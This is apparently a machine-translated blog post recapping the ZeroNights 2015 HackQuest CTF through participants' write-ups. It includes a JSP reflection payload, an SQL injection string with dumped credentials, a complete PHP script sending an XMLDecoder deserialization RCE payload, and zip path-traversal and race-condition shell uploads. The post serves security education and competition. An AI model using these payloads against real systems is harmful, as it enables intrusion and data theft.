📜 ⬆️ ⬇️

ZeroNights - about the past hackquest and the upcoming Hardware Village

image

Hello!


Before the ZeroNights conference, about which we have already written many times on Habré, there are only a few days left!

One of our last posts was a story about HackQuest . He successfully passed and it was time for the tasks and how they were solved. And of course - to congratulate the winners!
')


Day 1 - Chocolate Factory


The task initially provided quite specific conditions - the execution of JSP code (it was planned that with restrictions), so it was not without complications. When starting the task, the Tomkat did not reset the cache (after updating one of the classes from the application) and the task was resolved through RCE :-) We left it as an expected decision, since it took enough time and created a competition between the participants

Cdump solution
Hidden text
When creating an order, you can intercept the form submission in Burp and change the orderName field to anything.jsp, and in the order field enter the text of any jsp-shell.
After loading, open the shell (link "You can check your order here") and download the tomcat'ov directory of webapps, in it we find jsp files and compiled classes, decompiling one of them using the jad utility (WEB-INF / classes / ZN_Chocolate / CRYPTO /SecretGrandParentForBigBossesNeeds.class) see the key we need: private String TrueSecretChocolateKey () {return "ZNV: iMp0518UrU_53cR3T_k3y_50d11dcb46506e93917f82c0e828b1a9"; }



After the task was restarted and now the expected decision (vraytap from second place - Beched)
Hidden text
Input

Site with file upload functionality.
Jsp-shell in XML format, bypassing white-list. After that all participants were given the source code.
Task again could be solved in a "cheating" way, by reading the source code.

Output

Open the classes in JD-GUI: screenshot .

We can see the code of the JSP checker, which parses page imports. There're a lot of ways to check this flag, but not the flag. Initially the flag of SecretGrandParentForBigBossesNeeds.class:
public class SecretGrandParentForBigBossesNeeds { private String TrueSecretChocolateKey() { return "ZNV:3X@mPl3_k3y_a0a81ab87f74d307b8e51fd85048e714"; } 

You can see your reflection. If we are trying to import SecretGrandParentForBigBossesNeeds, we’ll fail, let's try to import Secret.
 <%@ page import="java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret" %> <% Secret s = new Secret(); out.println(s.TrueSecretChocolateKey()); %> 


Hm, error 500 ... we can read that "method TrueSecretChocolateKey of SadBigBoss is not visible".
Aha! After fixing the source code. But anyway, method is not visible, it's private. Let's use reflection to make it accessible:

 <%@ page import="java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret" %> <% SadBigBoss s = new SadBigBoss(); Method method = s.getClass().getDeclaredMethod("TrueSecretChocolateKey"); method.setAccessible(true); out.println(method.invoke(s)); %> 


That's it flag is on the page =)



Day 2 - HSM V1.0


The task was atypical for our hack quest - it was necessary to make hashes that were completely different, look for implementations of unpopular algorithms and optimize them.

Vraytap from Abr1k0s
Hidden text
1. Downloaded a dump
2. Using the login as a password, I found a user through whom it was possible to easily log in to the system.
3. I went into private messages, I realized that I can read other people's messages. After reading, I saw that a message was sent to the administrators about the need for an urgent password change and instructions on how to generate a new password based on the old one.
Hello! User dump was compromised. All administrators should change their passwords !!! Right now!
Because you need to use supergenpass. It is rather simple. Get enter your password
4. Found a subdomain dev. Picked up the password for basic authorization.
5. I downloaded a part of the source code and a password-protected archive, got the password from the archive, where the detailed password hashing scheme was found.
6. Wrote a script that implements the hashing function described in the archive instructions. All used algorithms could be found on the links listed in the pdf with the instruction.
7. I went to azure and using a test account I rented a 16th nuclear server, where I started brute force hashes. This gave an advantage over those who engaged in brute force with home computers and laptops.
8. From the first letters of the selected passwords (and based on the message received in paragraph 3) I realized that for the bruteforce of the admin accounts it is necessary to supplement the bruteforce algorithm with a function, adding supergenpass
9. In the end, the first letters of the passwords received included the phrase: theflagis287a2ef40fe140fd1acf8ec695ba1e53replacesgppasswithmasterpassandyougettrueflag.
Flag: 287a2ef40fe140fd1acf8ec695ba1e53

Day 3 - BAZAAR NG


It was a task sprint, representing the "Internet market" (hence the name). It used a variety of Java things: jsp and servlets, Hibernate, API on Restlet.
The task consisted of three main vulnerabilities that had to be exploited sequentially: execution after redirect, HQL injection (analog to SQL injection, only for Hibernate) and RCE via XML serialization in Restlet.
But it also left a lot of small vulnerabilities (the possibility of taking out accounts, XSS, etc.), which allowed “attacking” other participants (or even the admin) and bypassing some parts of the task.

Very briefly and in the case of AV1ct0r:

Hidden text
1. Found admin.jsp, search.jsp, index.jsp, admin_login.jsp, adminochka.jsp, adminochka.jsp.bak
2. I screwed up the test / test (apparently someone added)

3. Injection
potato 'AND' 1 \ '' = 1 union select 1, (select user ()), 3 - '=' 1%


host: zn-java
version: 5.5.46-0ubuntu0.14.04.2
user: webappuser @ localhost

 wepapp.developers --------------------------------------- | id | username | password | --------------------------------------- | 0 | developer_Vasia | fpBA7BPlS8wJ | | 1 | developer_Jorik | 5FftW6Aua2ef | --------------------------------------- wepapp.goods ------------------------- | id | name | price | ------------------------- | 0 | potato | 40 | | 1 | apple | 100 | | 2 | carrot | 25 | | 3 | tomato | 120 | | 4 | pear | 70 | | 5 | tomato | 110 | | 12 | pear | 80 | | 13 | cucumber | 80 | ------------------------- wepapp.users ---------------------------- | id | username | password | ---------------------------- 

...

4. Compiled the client and recorded its traffic.
5. RCE through xml deserialization (solve.php)

solve.php
Hidden text
 <?php $x =<<<HTML <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_05" class="java.beans.XMLDecoder"> <object id="_response" class="java.lang.String"> <string>Mode 1 to get a value</string> </object> <object id="runtime" class="java.lang.Runtime" method="getRuntime"> <void id="process" method="exec"> <string>cat webapps/flag.txt</string> </void> </object> <object idref="process"> <void id="inputStream" method="getInputStream"/> </object> <object id="inputStreamReader" class="java.io.InputStreamReader"> <object idref="inputStream"/> </object> <object id="bufferedReader" class="java.io.BufferedReader"> <object idref="inputStreamReader"/> </object> <object idref="bufferedReader"> <void id="line1" method="readLine"/> </object> <object idref="bufferedReader"> <void id="line2" method="readLine"/> </object> <string id="response"> <object idref="line1"/> <object idref="line2"/> </string> <object class="org.restlet.Response" method="getCurrent"> <void method ="setEntity"> <object idref = "response"/> <object class = "org.restlet.data.MediaType" field="TEXT_HTML"></object> </void> </object> </java> HTML; do { $socket = fsockopen("107.170.122.167", 80); } while (!$socket); $packet = "POST /ZN_HQ/API/prods HTTP/1.0\r\n"; $packet.= "Content-Type: application/x-java-serialized-object+xml\r\n"; $packet.= "Host: 107.170.122.167\n"; $packet.= "Connection: Close\r\n"; $packet.= "Content-Length: ".strlen($x)."\r\n"; $packet.= "Authorization: Basic ZGV2ZWxvcGVyX1Zhc2lhOmZwQkE3QlBsUzh3Sg==\r\n"; $packet.= "\r\n"; $packet.= $x; fwrite($socket, $packet); while(!@feof($socket)) echo fread($socket, 4096); fclose($socket); ?> 





Day 4 - ILLOGICAL PHOTOGALLERY


The bugs in the implementation of OAuth (vk), CSRF, zip path traversal and other things needed to be found and managed to be exploited by the participants (few managed).

Vrytap from Beched
Hidden text
Input

Site (0x3d.ru) with OAuth (vk.com) functionality.
During recon one can find content.0x3d.ru and dev.0x3d.ru (127.0.0.1) subdomains.

Output

There were a lot of unintended bugs, including XSS, SQL injection, RCE, etc ...

1. Authentication bypass (unintended)
If you’re logging in to your private tab. You are currently logged in as a privileged user, which can upload files.

2. Authentication bypass
If you’re logging on to the web page, you’ve got to know how to download it: </ b> (<img src = ...): the first triggers logout CSRF (like / logout), the second is you auth token link. He will be able to follow your profile. Now you can login as a privileged user.

3. Race condition (unintended)
Privileged user can upload avatar. "* .php" is disallowed, but ".jpg.php" is ok =) Where's the shell? Hm, avatars are uploaded to content.0x3d.ru/avatars, but they are converted into $ hash.jpg. The file is first uploaded and converted afterwards.
Take BurpSuite, launch 100 threads (GET / avatars/beched.jpg.php, Host: content.0x3d.ru) and upload beched.jpg.php. Wow, 200! Shit, plain-text ... They disabled PHP in this dir, but anyway, this is a dangerous bug.

4. SQL injection (unintended)
It was a multi-INSERT and guessing fields. There was no link for the auth bypass. I found a working copy of the task on that server =)

5. Code execution (unintended)
So, we've got an author's testing server. Let's log in and check SQL injection there. Wow, there's file_priv = Y! Read the source code, read configs, no flag = (
But there's something else in ZIP upload functionality:

 elseif(preg_match('/[.](ZIP)|(zip)|(RAR)|(rar)$/',$_FILES['fupload']['name'])) { $avatar = 'avatars/net-avatara.jpg'; $filename = $_FILES['fupload']['name']; $source = $_FILES['fupload']['tmp_name']; $target = $path_to_90_directory . $filename; move_uploaded_file($source, $target);//    $path_to_90_directory $command = 'python /var/www/0x3d.ru/zn1/avatars/unzip.py /var/www/0x3d.ru/zn1/avatars/'.$filename; $temp = exec($command, $output); } 


So, we can execute code in the filename. But no flag on this test server%)

6. Code execution
Now let's do what they want. Let's upload the shell into the docroot of content.0x3d.ru. We'll do it with github.com/ptoomey3/evilarc
Create a ZIP file with path traversal, Now we've got PHP shell on content.0x3d.ru

7. open_basedir bypass (unintended)
Command line functions are disabled, we can browse any directory with DirectoryIterator: ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
Btw, putenv () and mail () are not disabled

8. Flag
Remember dev.0x3d.ru? Let's try it from the web shell:
readfile ('http://dev.0x3d.ru');



More vraytap from Beched'a

Day 5 - CRACKME


Classic. We had to find the key in 3 different stages. The first two algorithms were fairly well-known, but the third was not.

Vrytap from sysenter - hackquest.zeronights.org/downloads/2015-day5-writeup_sysenter.pdf

Day 6 - dr.glukyne


The task was to break the SIP through ... SQL injection.
Vraytap from dr.glukyne
Hidden text
1) We follow the link and see the main page of the Internet bank with the login form and the link to the registration.

The welcome message as if hints that it is necessary to break some SIP service of the bank. Yes, and in the task itself mentioned phreaking - en.wikipedia.org/wiki/Phreaking
2) We register in the interface of the Internet bank and get the card number and PIN-code.
3) Look for a SIP to break:

 $: nmap -p 5060 -T4 -A -v bank.defcon.su ..... PORT STATE SERVICE VERSION 5060/tcp open sip-proxy Asterisk PBX 11.17.1 |_sip-methods: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH, MESSAGE ....... 

Indeed, our Internet bank has a SIP service, which, like most SIPs, is available on port 5060.
4) Let's try to connect to this service.
After a small brut and hint, we get an account test@bank.defcon.su with the password test

However, you need to understand what extension to call. Asterisk has an extension s, which is used if the number www.voip-info.org/wiki/view/Asterisk+s+extension is unknown
We will call him: s@bank.defcon.su and hear a greeting from the bank, in which it becomes clear that you need to select the type of card (Mastercard or Visa), dial its number and PIN code. If you enter the data card, which is given during registration, the call is terminated. If you enter an incorrect PIN code, you are asked to repeat its input. If you enter the wrong card number, then it is asked to re-enter. So you can try to get the card number first, and then the pin code.
5) Visa and Mastercard payment systems use different numbering systems: en.wikipedia.org/wiki/Bank_card_number
Visa numbers are possible in lengths of 13 or 16 digits, and in Mastercard only 16 digits. The appearance of the hint once again underlines this anomaly with Visa.
6) Search in the Internet for adequate SIP-clients for Python was not successful, so I had to
manual Visa card numbers, which took some time. In the process it turned out that only the last four digits of the number are being checked, which made the search much easier. Also in the process of enumeration, the following was noticed: on the bank’s website it is indicated that the authorship of the task belongs to the groups Defcon DC7499 and 2600. However, the required number was different from 7499 and 2600.
7) It turned out that the correct number is 1215. In response to its input, we get the full card number: 4556796461215
The possibility of recording a call to Jitsi was very helpful in getting the number.
8) It remains to pick up the pin. Again, remember about 7499 and 2600. And really 2600 is suitable.
9) Enter the card number and pin-code in the web-muzzle and get the code to generate the flag.


Day 7 - mr_dawerty


The task was epic, the task was to support the firmware under AVR, find a vulnerability there (overflow), remotely exploit (there was a bridge from an external TCP port in uart). First, it was necessary to steal a secret flag (which was constantly changing), then twice blinking with an LED (the participants also watched live response to their payload), then the system (on openCV) automatically opened the flag receiver and only after that the victory was accepted and counted. The task was extended several times and four days passed instead of one.
This is how it looked in our office:

image

And so it looked for the participants (the broadcast was organized via ffmpeg + nginx-rtmp, it was possible to achieve a delay of 2-3 seconds)
image

There will be no Vraytap yet, but there will be an analysis in the framework of a workshop on AVR at ZeroNights itself (we will try to tell about it in more detail, as a separate article).

Once again, I want to say thanks to all the authors of the assignments, namely: @aplastunov , @ w34kp455 , @antyurin , @igc_iv , @nkelesis , @Lukesparamore , __ek0 , @ 090h , @nezlooy , @cherboff , dark_k3y and Litvinov Egor.

On this about HackQuest - all the time passed and tell about ...

HardWare Village


HardWare Village program for both days:

Day 1:


Day 2:

With all the described technologies and methods of attack will be available on practical examples.

Recall that registration ends tomorrow at 14:00 - 2015. zeronights.ru/registraciya.html , the program is ready, final preparation is underway. See you at ZeroNights 2015!

Source: https://habr.com/ru/post/271431/


All Articles